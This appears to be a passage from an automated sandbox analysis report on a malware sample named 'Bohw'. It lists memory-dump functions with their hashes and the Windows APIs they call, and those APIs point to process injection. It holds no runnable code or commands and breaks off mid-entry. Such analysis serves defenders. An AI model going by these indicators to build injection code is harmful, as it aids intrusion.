Opcode ID: bfc4ed201d1f120c32c7185314e2d15e4a71aed8a115c78cac8b917d25395904
Instruction ID: 19cb316b3da04424fe250c711c151d04fdfda2039bd5aaa48e583fa9e937700d
Opcode Fuzzy Hash: bfc4ed201d1f120c32c7185314e2d15e4a71aed8a115c78cac8b917d25395904
Instruction Fuzzy Hash: 6E41A9B5D012599FCB00CFA9D984ADEFBF1BF49300F14902AE818B7240D339AA45CF68

Function 0652E358 Relevance: 1.6, APIs: 1, Instructions: 116
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0652E44C

Memory Dump Source

Source File: 00000005.00000002.2820259798.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6520000_Bohw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: ab9dac098e96d4ed1c034600549c8ed25450cc443f7953b3cbddb91170cbc88a
Instruction ID: e332190cae85ecde54b5d2a4f7f99f65319c6c406744bd79b3fa4be9979bd929
Opcode Fuzzy Hash: ab9dac098e96d4ed1c034600549c8ed25450cc443f7953b3cbddb91170cbc88a
Instruction Fuzzy Hash: F1414475D002599FCB14CFA8D884AEEBBB1BF4A310F14952AE414B72A1C7399945CB94

Function 0652DD50 Relevance: 1.6, APIs: 1, Instructions: 104
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0652DE02

Memory Dump Source

Source File: 00000005.00000002.2820259798.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6520000_Bohw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6112fb1c2f63d3901a3ab68b9e0c2170c998f899ed62de4e9d3ad84656a3c087
Instruction ID: 3a25b64a2715476cbefd6dd6bd0dce97c9936003ed18177105ae6e89b96fac8f
Opcode Fuzzy Hash: 6112fb1c2f63d3901a3ab68b9e0c2170c998f899ed62de4e9d3ad84656a3c087
Instruction Fuzzy Hash: C441A7B9D002599FCF10CFA9D980A9EFBB1BF49310F10A42AE915BB250D335A905CF54

Function 0652E3A0 Relevance: 1.6, APIs: 1, Instructions: 102
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0652E44C

Memory Dump Source

Source File: 00000005.00000002.2820259798.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6520000_Bohw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: efb4448f22c8d3b1fc7c60d88a526f44bdfd197cdf37b341eac920c13688245a
Instruction ID: dece4d6b28ed06b7eccf16aa7080a2c039e26921deaef3d074ecead95df89c2f
Opcode Fuzzy Hash: efb4448f22c8d3b1fc7c60d88a526f44bdfd197cdf37b341eac920c13688245a
Instruction Fuzzy Hash: F431DAB4D012589FCF10CFAAD984AEEFBB1BF49310F14942AE814B7240D339A945CF94

Function 0652DD58 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0652DE02

Memory Dump Source

Source File: 00000005.00000002.2820259798.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6520000_Bohw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 890d74d1403cb3eef80fd0cea12e66177c2dc3e0b70c5f0702b1be0505da64ed
Instruction ID: a195a89aaa0dad873fde3fcbfe2cac2791d6a04d1c3c7eac55832d787b2d8d30
Opcode Fuzzy Hash: 890d74d1403cb3eef80fd0cea12e66177c2dc3e0b70c5f0702b1be0505da64ed
Instruction Fuzzy Hash: 4231A6B8D002599FCF10CFA9D980A9EFBB1BF49310F10942AE915BB350D735A905CFA8

Function 0652E3A8 Relevance: 1.6, APIs: 1, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0652E44C

Memory Dump Source

Source File: 00000005.00000002.2820259798.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6520000_Bohw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 98284e084239606efc9a6e1e0acc8fe97e2295e6794520f90eb4c97dad28bcf8
Instruction ID: a9a1adaa97511e9e4acc70525ccce226acd40d0a4bf771d6021b4c63fd8fe6d3
Opcode Fuzzy Hash: 98284e084239606efc9a6e1e0acc8fe97e2295e6794520f90eb4c97dad28bcf8
Instruction Fuzzy Hash: 3631C9B4D002589FCF10CFAAD984AEEFBB1BF49310F14942AE914B7250D739A945CFA4

Function 06529779 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

SleepEx.KERNELBASE(?,?), ref: 06529862

Memory Dump Source

Source File: 00000005.00000002.2820259798.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6520000_Bohw.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 71844fede2c0038228d92ad1ecfd482f0e00d23755355015fb809983df0ab3a0
Instruction ID: 1bf10edda1d931d1a3f81fd739e942112b3e40148e73e27102ca2161464298a1
Opcode Fuzzy Hash: 71844fede2c0038228d92ad1ecfd482f0e00d23755355015fb809983df0ab3a0
Instruction Fuzzy Hash: FB31EDB5D012599FDB10CFAAD884ADEBFF5BB4A310F18842AE504B7350C735A945CFA4

Function 0652D7F1 Relevance: 1.6, APIs: 1, Instructions: 96threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0652D8A7

Memory Dump Source

Source File: 00000005.00000002.2820259798.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6520000_Bohw.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 1c0fbdc46b876bc2cd41c46e029b9a47dda418a76f500b8da3806c73e7a3a4f4
Instruction ID: 9ed6594983c77f9c6a6c1a0a7d61903479a5b1852726bf48f81487cfc1ca0fb0
Opcode Fuzzy Hash: 1c0fbdc46b876bc2cd41c46e029b9a47dda418a76f500b8da3806c73e7a3a4f4
Instruction Fuzzy Hash: 3241CBB5D012599FDB10DFAAD984AEEFBF1BF49310F14842AE418B7240C338A949CF54

Function 0652D7F8 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0652D8A7

Memory Dump Source

Source File: 00000005.00000002.2820259798.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6520000_Bohw.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: b51a7a144e1f754fb52a9fc7fe7441c3646ae86a1ac59eb4bbc23c89d700ea32
Instruction ID: aa4e7ea8b768302985a005195e1bff62ef151485a8b17587479849bf5e81127f
Opcode Fuzzy Hash: b51a7a144e1f754fb52a9fc7fe7441c3646ae86a1ac59eb4bbc23c89d700ea32
Instruction Fuzzy Hash: 6831CBB5D002589FDB10DFAAD884AEEFBF0BF49310F14802AE414B7240D738A945CF54

Function 065297C8 Relevance: 1.6, APIs: 1, Instructions: 90COMMON

Download Yara Rule

APIs

SleepEx.KERNELBASE(?,?), ref: 06529862

Memory Dump Source

Source File: 00000005.00000002.2820259798.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6520000_Bohw.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: bc9116dec772855e53651e8155688eca2998370f968f79fbd77d847d24f0f5c9
Instruction ID: 03ce4b13a0d54daba75ebd80cf459e853272c213d09d694a0ea140382748b872
Opcode Fuzzy Hash: bc9116dec772855e53651e8155688eca2998370f968f79fbd77d847d24f0f5c9
Instruction Fuzzy Hash: 2B31DAB5D012589FDB10CFAAE984AEEFBF5BB49310F14842AE904B7340C735A945CFA4

Function 065297D0 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

SleepEx.KERNELBASE(?,?), ref: 06529862

Memory Dump Source

Source File: 00000005.00000002.2820259798.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6520000_Bohw.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: fa2f4e699d5b9879267bf1a30a74acc5b63d14adb3c0c0b6f3949d01b9b27d24
Instruction ID: 1fce2d066537fa93acaaa695574672e0af712364a785a2715792c20eeca6c9a5
Opcode Fuzzy Hash: fa2f4e699d5b9879267bf1a30a74acc5b63d14adb3c0c0b6f3949d01b9b27d24
Instruction Fuzzy Hash: FA31E9B4D012189FCB10CFAAD980AEEFBF5BB49310F14842AE804B7340C739A945CFA4

Function 06539070 Relevance: 1.4, Strings: 1, Instructions: 178COMMON

Download Yara Rule

Strings

0F, xrefs: 0653932C

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID: 0F
API String ID: 0-760309393
Opcode ID: cc9878c8588a7012ae8504a8b481fd86e451b1f7813904281bedae8b25ee111f
Instruction ID: cd98b156bd61846ccd909523e69b5c8ed56a97f2fd317c209935e2ee45dc36bf
Opcode Fuzzy Hash: cc9878c8588a7012ae8504a8b481fd86e451b1f7813904281bedae8b25ee111f
Instruction Fuzzy Hash: C281E4B4E00229DFDB54CFA5D884BAEBBB2FF89300F008569D409AB395D7B85985CF51

Function 0653946F Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

0F, xrefs: 0653932C

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID: 0F
API String ID: 0-760309393
Opcode ID: b29b3a453ad613d8e0c5db947403dfd0cb96f3074062a23915e34fc83328f557
Instruction ID: c5bc36c765b11ce4b3da4495726fe492e99e65128bcb285a84543b1409887160
Opcode Fuzzy Hash: b29b3a453ad613d8e0c5db947403dfd0cb96f3074062a23915e34fc83328f557
Instruction Fuzzy Hash: 8671C2B4E00229DFDB94CF64D884BAEBBB2FB49300F0085A9D409AB395D7B85D85CF51

Function 065392CC Relevance: 1.4, Strings: 1, Instructions: 145COMMON

Download Yara Rule

Strings

0F, xrefs: 0653932C

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID: 0F
API String ID: 0-760309393
Opcode ID: aaeb025ec656c4f04a343efee9dfb5c2440cbabeb8715f8e1d7c902965172839
Instruction ID: 78ddd6f956cdc3ed8e8ee0d1d99ab49626b5739c359d5e116654305ad38b5ea2
Opcode Fuzzy Hash: aaeb025ec656c4f04a343efee9dfb5c2440cbabeb8715f8e1d7c902965172839
Instruction Fuzzy Hash: 0061D4B4E00229DFDB94DF64D884B9EBBB2FB49300F1084A9D409A7395D7B85D85CF51

Function 06941D9E Relevance: 1.3, Strings: 1, Instructions: 49COMMON

Download Yara Rule

Strings

f, xrefs: 0695328E

Memory Dump Source

Source File: 00000005.00000002.2820972382.0000000006940000.00000040.00000800.00020000.00000000.sdmp, Offset: 06940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6940000_Bohw.jbxd

Similarity

API ID:
String ID: f
API String ID: 0-1993550816
Opcode ID: 259e0e9967e79c9e3e86ea325f615cb4ed109045f72c12a68fe9fbaa92f223ff
Instruction ID: ce5c8d58ea851c3ac77b9b4fcb2160c1b369e91672e81649cc880b882001aba1
Opcode Fuzzy Hash: 259e0e9967e79c9e3e86ea325f615cb4ed109045f72c12a68fe9fbaa92f223ff
Instruction Fuzzy Hash: 4A210474A10228DFEBA4DF58D988B99B7B2FB48340F5186D8E909A7740DB316F85CF04

Function 06539CC4 Relevance: 1.3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

Strings

), xrefs: 0653A7DE

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID: )
API String ID: 0-2427484129
Opcode ID: 120c38c65831803c8ab242dafb56790027275645c14f68d6b4d59ef1f0d16f80
Instruction ID: 609469a9a0f8207ac3e409f20f921d7f8253546b5d401e047c7e09c535c36b29
Opcode Fuzzy Hash: 120c38c65831803c8ab242dafb56790027275645c14f68d6b4d59ef1f0d16f80
Instruction Fuzzy Hash: B91190B0E44229CFDBA4CF64DC94BE9B7B2BB48700F4042E9D509A7291EB755E94CF80

Function 0653A739 Relevance: 1.3, Strings: 1, Instructions: 40COMMON

Download Yara Rule

Strings

), xrefs: 0653A7DE

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID: )
API String ID: 0-2427484129
Opcode ID: 522dc4770afc6c1af0fd9b2bfdade70f86d1163faf2ff332f0f13f249081da62
Instruction ID: 9fb822d1e75c62f0a6ca931328c7408d29bddc3906b23dfd62e1c2b7250d3693
Opcode Fuzzy Hash: 522dc4770afc6c1af0fd9b2bfdade70f86d1163faf2ff332f0f13f249081da62
Instruction Fuzzy Hash: 1B1190B4D50229CFDBA4CF24DC98B99B7B1BB48700F4041E5E509A7250EB755E948F40

Function 06539A5A Relevance: 1.3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

Strings

1, xrefs: 0653AAD9

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID: 1
API String ID: 0-2212294583
Opcode ID: 514f36d050dc510de08945ec6ab9ddd4ec6f87221b340166ae2c37e68c487358
Instruction ID: 33414382a1a33ba7e228539ebed6f45a7e9cd8842caba6716920c1d37b078b6e
Opcode Fuzzy Hash: 514f36d050dc510de08945ec6ab9ddd4ec6f87221b340166ae2c37e68c487358
Instruction Fuzzy Hash: 02119BB4904268CFDBA0CF64CC88BEABBB1BB49301F1441EAD809A7341E7765E85CF40

Function 06539F7B Relevance: 1.3, Strings: 1, Instructions: 30COMMON

Download Yara Rule

Strings

0, xrefs: 06539FC6

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 745614779c61d0b00c3cf46deb9a1fcbd58e626177e7416a8ea94e8a3bd75af3
Instruction ID: c41c65dffa4e729ebe92d1b26e8dc06fd81db95ff72b10b4fa1b9f301cc405d3
Opcode Fuzzy Hash: 745614779c61d0b00c3cf46deb9a1fcbd58e626177e7416a8ea94e8a3bd75af3
Instruction Fuzzy Hash: 8101247094062ADBDB21CF44C854BEAB7B2FF44300F1086A5E40967681E7B5AED9DF80

Function 06539B56 Relevance: 1.3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

Strings

!, xrefs: 06539B87

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: 7a19ea0a38495cabd844a043f2cc18a4b28663688d436940924d6d338f8a240e
Instruction ID: 78b6d1fa0d50fdb484bcd50936c6c60b589ac71915017052b29f95a71b08df7a
Opcode Fuzzy Hash: 7a19ea0a38495cabd844a043f2cc18a4b28663688d436940924d6d338f8a240e
Instruction Fuzzy Hash: D6F0AFB494422ACFDB20CF54D948BE8BBB1BB08305F0441F5D409A7692E3B99E99DF81

Function 0694116A Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

z, xrefs: 069411B7

Memory Dump Source

Source File: 00000005.00000002.2820972382.0000000006940000.00000040.00000800.00020000.00000000.sdmp, Offset: 06940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6940000_Bohw.jbxd

Similarity

API ID:
String ID: z
API String ID: 0-1657960367
Opcode ID: c8e62f5d5629ce8c34a9ac3d36c06cb44212da80059a42499ea706e4a7e39bf5
Instruction ID: c5db6b410ea99bfc71bdd769b93bc7b13a70e38c41dbbbccbfc7fe7612fea9f4
Opcode Fuzzy Hash: c8e62f5d5629ce8c34a9ac3d36c06cb44212da80059a42499ea706e4a7e39bf5
Instruction Fuzzy Hash: 52E09A30A09129DFDB44BFA0E99879E77BAEB88300F008498920E53780CF362D44CF61

Function 0694111B Relevance: 1.3, Strings: 1, Instructions: 13COMMON

Download Yara Rule

Strings

z, xrefs: 069411B7

Memory Dump Source

Source File: 00000005.00000002.2820972382.0000000006940000.00000040.00000800.00020000.00000000.sdmp, Offset: 06940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6940000_Bohw.jbxd

Similarity

API ID:
String ID: z
API String ID: 0-1657960367
Opcode ID: 5345fbc9f07195897165b52ebab3fc7df3fb91a5e39ce1a7d9bda2b9a8b4cb81
Instruction ID: ec2ac50be517d7f21f71fbf2f740e570f0e31cbdc0ff5b67e39e2937cc0ac854
Opcode Fuzzy Hash: 5345fbc9f07195897165b52ebab3fc7df3fb91a5e39ce1a7d9bda2b9a8b4cb81
Instruction Fuzzy Hash: 6BD0123480D154ABE7854B94D68C6D4FF71EB47308F0454A5CA551598AC57A0645CF51

Function 06508ED8 Relevance: .4, Instructions: 370COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820076950.0000000006500000.00000040.00000800.00020000.00000000.sdmp, Offset: 06500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6500000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50f31782da827f7490ac0c15d9d6fb3a247b2e256362815a0a945421661388f7
Instruction ID: 678631351cabe84c5db846a879a8fc1242a0421149baeff7e947b567b9f99d80
Opcode Fuzzy Hash: 50f31782da827f7490ac0c15d9d6fb3a247b2e256362815a0a945421661388f7
Instruction Fuzzy Hash: 9BF1C734A11119DFDB44DFA4D998E9DBBB2FF89300F158169E506AB3A5DB30EC42CB81

Function 06530006 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd92619e7bb4eda744f03757b9ea1afc6846f2ce9ffd68b6bb07e7374cd34436
Instruction ID: 0f38f3626342e6c0ebb0d7570792c2312241748f45055045e8f0abef440a8d12
Opcode Fuzzy Hash: bd92619e7bb4eda744f03757b9ea1afc6846f2ce9ffd68b6bb07e7374cd34436
Instruction Fuzzy Hash: 3DB14670D05328CFEB94DFA4D894BAEBBB2FB49300F5084AAD449AB291CB745D85CF51

Function 065380F0 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07d178e5ba43e38c879440d135bcbdf0aa7ac997d2f781d45fafabb54ba62135
Instruction ID: c4f0be93dc50498659bc18ce6979ff66211f5196553c2f1d701332656fc59031
Opcode Fuzzy Hash: 07d178e5ba43e38c879440d135bcbdf0aa7ac997d2f781d45fafabb54ba62135
Instruction Fuzzy Hash: 22C1F374A01229DFDBA8DF64DC94B9EBBB2FB89300F1080A9E509A7751DB785D85CF40

Function 06530040 Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a580b9d23b795e125156edf374cd3fa2da14fd8b797328d977467b4e73a48fb9
Instruction ID: 6bf2d5332891dfc8c9f1de239965f83eea043f5e35b7bb7773f89e673f9447ee
Opcode Fuzzy Hash: a580b9d23b795e125156edf374cd3fa2da14fd8b797328d977467b4e73a48fb9
Instruction Fuzzy Hash: BEB10370E01328CFEB94DFA4D994BAEBBB2FB49300F5084A9D409AB291DB745D85CF51

Function 0695EB58 Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820972382.0000000006940000.00000040.00000800.00020000.00000000.sdmp, Offset: 06940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6940000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5339fa41b5c07af964853dd5f8b761027bf1c828fd817434bb016b1b876d69d2
Instruction ID: ba4b6e66b2ec219e00219cbe03a34eef4ef9ed5548e0165f788a0901449c9861
Opcode Fuzzy Hash: 5339fa41b5c07af964853dd5f8b761027bf1c828fd817434bb016b1b876d69d2
Instruction Fuzzy Hash: 3C810372610200AFCB469FA8CC15D6A7FB7FF8D210B1A44A9E645CB772CA36DC11DB91

Function 065300D2 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91855cfb13532f1bfb457403d2ce133a03ba9e32a9f4275ba91fe3e44997cacb
Instruction ID: 4bad25da995fb2258644088110d1803f70c2d730060503ad0f990c85c7b987c6
Opcode Fuzzy Hash: 91855cfb13532f1bfb457403d2ce133a03ba9e32a9f4275ba91fe3e44997cacb
Instruction Fuzzy Hash: CEA10474E01328CFEB94DFA4D994BAEBBB2FB49300F5084A9D449AB291CB345D85CF51

Function 065304E8 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1de37d246f4302ad9016acc263f1aa0afa482071f65f3590c5b8402a8b50fc1
Instruction ID: 5a70d3bb2cf4411d9c0072ce06990a67e30014360645256f1b150a67b6fd0f31
Opcode Fuzzy Hash: e1de37d246f4302ad9016acc263f1aa0afa482071f65f3590c5b8402a8b50fc1
Instruction Fuzzy Hash: 84A1F674E01328CFEB94DFA4D994BAEBBB2FB49300F5084A9D449AB291DB745D85CF01

Function 065304BC Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0d08fd6492e334f1b58c30cf3e8a8eaaa11f69d161fd6ad74f2dbdd8d590215
Instruction ID: 52701d8fec811ec2d06596f2e2b90fd0c4f1deb710fd2b2df75953b7224e11f0
Opcode Fuzzy Hash: c0d08fd6492e334f1b58c30cf3e8a8eaaa11f69d161fd6ad74f2dbdd8d590215
Instruction Fuzzy Hash: A7910674E01328CFEB94DFA4D994BAEBBB2FB49300F5084A9D409AB291CB745D85CF41

Function 06537D87 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a79523d47584f7c2d175e4004205a57a68e11c04e0d6c22fa534b4f69ec37d3
Instruction ID: 8ada79a5b5ceb465a11b36790e3e4b3d56d2e347d9a1afb3033218d3788c0326
Opcode Fuzzy Hash: 2a79523d47584f7c2d175e4004205a57a68e11c04e0d6c22fa534b4f69ec37d3
Instruction Fuzzy Hash: E0A1F274A01229DFDBA8DF64DC90B9EBBB2FB89300F1080A9D509A7791CB385D85CF50

Function 06537C60 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b386d5dd34ce4629a708462e82b5c141af5e2bff72550575dc0056e2f49ba5d7
Instruction ID: 574ccd54fc7b6e89be94a97a4ac7cc2abebfe1793fa29b0363c0f50db6fc7847
Opcode Fuzzy Hash: b386d5dd34ce4629a708462e82b5c141af5e2bff72550575dc0056e2f49ba5d7
Instruction Fuzzy Hash: 34610570E01229DFDB68DF64EC94B9EBBB6FB89200F0080AAD509A7791DB351D85CF51

Function 06537C70 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06a3e7f04e4c2484ceb4557974fb75573164714af80b68ef2493caf8b1da24cc
Instruction ID: 9ea68a97b02cab132486bd9011113ea5d3d04d31668f8f1340bd632c399130c1
Opcode Fuzzy Hash: 06a3e7f04e4c2484ceb4557974fb75573164714af80b68ef2493caf8b1da24cc
Instruction Fuzzy Hash: 2961E374E01229DFEBA8DF64DC94B9EBBB6FB89200F0080A9D509A7790DB345D85CF51

Function 06537CFE Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6afa1cf215150af2b0d0458c62c093e1b0afe8574fa1dde2f7b664c0b1fc6199
Instruction ID: 674d24fc0f20a7127b6667f1da92168b9a80fe0ac3ed8e836c0b1a89362353b0
Opcode Fuzzy Hash: 6afa1cf215150af2b0d0458c62c093e1b0afe8574fa1dde2f7b664c0b1fc6199
Instruction Fuzzy Hash: BC61D374A01229DFDBA4DF64DC94B9EBBB2FB89300F1080A9D519A7791CB385D85CF50

Function 06537CEE Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9aea62c201ce8d911596cce3a10052ec89bbf4e9b8d2bf05cdb0c61ecf9f6646
Instruction ID: 960122954939946b472ba2da43846a350a37eaf82d65ba0454c1cf62e4fdc141
Opcode Fuzzy Hash: 9aea62c201ce8d911596cce3a10052ec89bbf4e9b8d2bf05cdb0c61ecf9f6646
Instruction Fuzzy Hash: 3E51F274A01229DFDBA8DF64EC94B9EBBB2FB89200F1080A9D509A7791CB345D85CF51

Function 065381DF Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

